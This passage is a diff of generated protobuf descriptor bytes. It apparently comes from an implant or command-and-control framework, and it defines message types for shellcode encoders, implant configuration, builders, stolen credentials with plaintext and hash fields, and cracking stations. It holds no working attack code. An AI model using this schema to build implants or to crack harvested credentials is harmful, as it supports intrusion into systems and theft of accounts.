0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x12, 0x0a, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x55, + 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, + 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x12, 0x47, 0x0a, + 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, 0x2e, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x75, + 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, 0x42, 0x75, 0x69, + 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, + 0x41, 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, + 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, + 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, + 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, + 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x48, 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, + 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, + 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x73, 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x2c, 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, + 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, + 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, + 0x22, 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, + 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, + 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, + 0x3b, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x02, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, + 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, - 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, - 0x52, 0x43, 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, - 0x18, 0x05, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, - 0x73, 0x12, 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, - 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, - 0x70, 0x69, 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, - 0x61, 0x73, 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, - 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, - 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x22, 0x4d, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0xed, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, - 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, - 0x0a, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, - 0x62, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, - 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x09, 0x49, 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, - 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, - 0xa9, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x02, 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, - 0x67, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, - 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, - 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, - 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 